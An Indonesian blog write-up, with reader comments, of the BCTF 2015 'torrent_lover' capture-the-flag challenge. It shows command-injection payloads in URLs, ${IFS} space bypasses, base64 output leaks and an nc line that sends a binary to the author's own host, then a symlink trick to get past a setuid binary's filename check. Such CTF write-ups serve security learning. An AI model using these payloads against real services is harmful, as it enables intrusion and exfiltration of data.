Monday, March 23, 2015

BCTF 2015: torrent_lover

Deskripsi soalnya singkat:

A dog loves torrent.


Contoh setelah kita masukkan input

Dan hasilnya



Jika kita masukkan URL yang diberi torrent, maka akan keluar info mengenai torrent tersebut. Tadinya saya pikir file torrentnya yang harus dimodifikasi supaya menghasilkan injection. Tapi Agan Oghie menyadari bahwa inputnya memiliki flaw command injection, dan outputnya akan muncul jika kita melisten di sebuah port. Dengan memasukkan URL:

http://yn.lc:1200/`id`.torrent

Maka hasilnya:



Dari user agentnya kira-kira ini terjadi karena perintah yang dipakai adalah system("wget $url"). 

Masalah pertama yang dihadapi adalah memasukkan spasi, karena ini merupakan shell injection. Saya memastikan ini dengan mencoba memprint environment

http://yn.lc:1200/${PWD}.torrent

Hasilnya muncul:

GET //var/www/work.torrent HTTP/1.1

Jadi ternyata direktori saat ini adalah work.

Karena ini adalah shell, trik berikutnya untuk memasukkan spasi adalah dengan ${IFS}, jadi kita bisa melakukan:

ls${IFS}-a

Tapi ada masalah lagi: jika output mengandung spasi, maka sisa output tidak akan muncul. Output dari 

http://yn.lc:1200/$(ls${IFS}-l).torrent

Hanya kata "total" saja

GET /total HTTP/1.1

Untuk bypassnya, kita gunakan base64, 


http://yn.lc:1200/$(ls${IFS}-l|base64).torrent


dan hasilnya:

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9u HTTP/1.1

Hasilnya:

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhon

Terpotong juga karena base64 memiliki newline di output. Untungnya base64 punya opsi -w0

http://yn.lc:1200/$(ls${IFS}-l|base64${IFS}-w0).torrent

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9uZ3ppCg==.torrent HTTP/1.1

Ternyata cuma ada 1 file bernama zhongzi

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhongzi

Setelah ke sana kemari, akhirnya ditemukan direktori /var/www/flag/

Isinya 2 file:

total 16
-r-------- 1 flag flag       57 Mar 21 12:14 flag
-rwsr-x--- 1 flag www-data 8871 Mar 21 12:13 use_me_to_read_flag

Ketika kita mencoba mengeksekusi file tersebut:

http://yn.lc:1200/$(/var/www/flag/use_me_to_read_flag${IFS}/var/www/flag/flag|base64).torrent

Hasilnya:

GET /WW91IG1heSBub3QgYWNjZXNzICcvdmFyL3d3dy9mbGFnL2ZsYWcnCg==.torrent HTTP/1.1


  • You may not access '/var/www/flag/flag'
Wah, kenapa ini?

Karena file use_me_to_read_flag bisa dibaca, maka saya base64 encode dan kirimkan ke host saya:


http://yn.lc:1200/$(base64${IFS}/var/www/flag/use_me_to_read_flag$|nc${IFS}yn.lc${IFS}1400).torrent

Ternyata file ini adalah file ELF, setelah didecompile, terlihat:


if ( strstr(argv[1], "flag") ) { printf("You may not access '%s'\n", argv[1]); exit(1); }

Sisanya gampang: karena hanya dicek namanya saja, maka kita bisa bypass dengan symbolic link. Pertama buat dulu linknya, kira-kira seperti ini:


ln -s /var/www/flag/flag /tmp/bb

Lalu baca flaghnya dengan

/var/www/flag/use_me_to_read_flag /tmp/bb

Dan hasilnya:

BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}

2 comments:

  1. salam kenal dari newbie mas. mau tanya.

    1. dapat http://yn.lc:1200/`id`.torrent dari mana yah ? apa memanfaatken capturing ketika mengakses /zhongzi/index.php ?

    2. sedikit typo mas di bagian ls${IFA}-a , apa bukan ls${IFS}-a

    3. kok baca file nya tanpa command "CAT" mas , apa karena ada something di file use me to read flag ?

    maaf mas banyak tanya.. hehe newbie maklum

    ReplyDelete
  2. 1. yn.lc itu server saya, saya listen di port 2100, jadi saya masukkan URL itu, intinya sih http://URL:port/`injection`.

    2. Betul, terima kasih, sudah dikoreksi.

    3. Perhatikan bahwa file itu dimiliki oleh user flag group flag dan modenya hanya bisa dibaca oleh user flag, sedangkan dari hasil `id` pertama, didapatkan bahwa user id saat ini adalah www-data. Sehingga cat pasti tidak bisa dilakukan.

    ReplyDelete